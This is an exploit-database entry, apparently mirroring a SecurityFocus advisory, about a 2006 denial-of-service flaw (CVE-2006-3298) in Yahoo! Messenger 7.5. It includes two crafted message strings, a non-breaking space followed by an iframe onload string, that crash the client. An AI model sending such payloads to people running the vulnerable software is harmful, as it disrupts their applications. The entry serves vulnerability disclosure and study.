Yahoo! Messenger 7.0/7.5 - 'jscript.dll' Non-ASCII Character Denial of Service

Author: Ivan Ivan
type: dos
platform: windows
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date_added: 2006-06-23 
date_updated: 2013-09-05 
verified: 1 
codes: CVE-2006-3298;OSVDB-26781 
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source: https://www.securityfocus.com/bid/18622/info

Yahoo! Messenger is prone to a denial-of-service vulnerability. Successful exploitation will cause the application to crash, effectively denying service.

This issue affects version 7.5.0.814; other versions may also be vulnerable.

The following examples are sufficient to trigger this issue:

s:[space]msg[alt+0160]:---------------------------------------------iframe onload=$InlineAction()>:)

msg:---------------------------------------------iframe onload=$InlineAction()>:)